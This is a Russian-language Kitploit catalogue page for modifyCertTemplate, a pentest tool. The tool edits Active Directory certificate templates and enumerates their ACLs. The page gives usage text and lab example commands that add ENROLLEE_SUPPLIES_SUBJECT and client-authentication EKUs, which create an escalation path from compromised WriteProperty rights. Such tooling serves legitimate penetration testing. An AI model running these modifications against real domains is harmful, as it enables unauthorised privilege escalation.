Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
modifyCertTemplate — Изменение шаблонов сертификатов ADCS и перечисление ACL | Kitploit
Инструменты/GitHubGitHub/fortalice/modifycerttemplate
Повышение привилегийАнализ уязвимостейЭксплуатацияАудит конфигурацииТестирование на ПроникновениеАутентификация
GitHubfortalice/modifycerttemplate

modifyCertTemplate

Изменение шаблонов сертификатов ADCS и перечисление ACL

Репозиторий
1451313 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Назначение

Этот инструмент предназначен для помощи оператору в изменении шаблонов сертификатов ADCS, чтобы можно было использовать созданное уязвимое состояние для повышения привилегий (а затем вернуть шаблон в исходное состояние). Инструмент специально разработан для сценария, где были скомпрометированы права WriteProperty на шаблоне, но оператор не уверен, к каким именно свойствам применяется это право. В этом сценарии можно запросить ACL шаблона и сопоставить информацию о применимых ACE с GUID свойств, чтобы определить изменяемые свойства.

Связанная статья в блоге об инструменте и теме.

Использование

root@kitploit:~
usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
                             [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
                             target

Modify the attributes of an Active Directory certificate template

positional arguments:
  target                [[domain/]username[:password]

optional arguments:
  -h, --help            show this help message and exit
  -template template name
                        Name of the target certificate template
  -property property name
                        Name of the target template property
  -value new value      Value to set the specified template property to
  -get-acl              Print the certificate's ACEs
  -dn distinguished name
                        Explicitly set the distinguished name of the certificate template
  -raw                  Output the raw certificate template attributes
  -add flag name        Add a flag to an attribute, maintaining the existing flags
  -debug                Turn DEBUG output ON

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
                        use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ldaps                Use LDAPS instead of LDAP

Примеры

Запрос шаблона или значения свойства

Запрос шаблона сертификата (все атрибуты)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass

Запрос одного атрибута из шаблона сертификата

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass

Запрос необработанных значений всех атрибутов шаблона

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass

Запрос информации об ACL

Запрос ACL для шаблона сертификата

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass

Хотя это не относится к шаблонам сертификатов, ACL любого объекта можно запросить, указав его различающееся имя

root@kitploit:~
python3 modifyCertTemplate.py -dn "CN=ws1,CN=computers,DC=ez,DC=lab" -get-acl ez.lab/administrator:pass

Изменение шаблона

Добавление флага ENROLLEE_SUPPLIES_SUBJECT в свойство msPKI-Certificate-Name-Flag шаблона

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass 

Обновление значения атрибута шаблона сертификата (несписочные свойства)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass

Добавление EKU в свойство pKIExtendedKeyUsage

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -add "client authentication" -property pKIExtendedKeyUsage ez.lab/administrator:pass 

Обновление значения атрибута в формате списка (т.е. явная установка значения pKIExtendedKeyUsage)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -value "'1.3.6.1.5.5.7.3.4', '1.3.6.1.5.5.7.3.2'" -property pKIExtendedKeyUsage ez.lab/administrator:pass 

Ссылки, благодарности и другие проекты, которые стоит посмотреть!

  • PyWhisker
  • Certi
  • StandIn
Скачать инструмент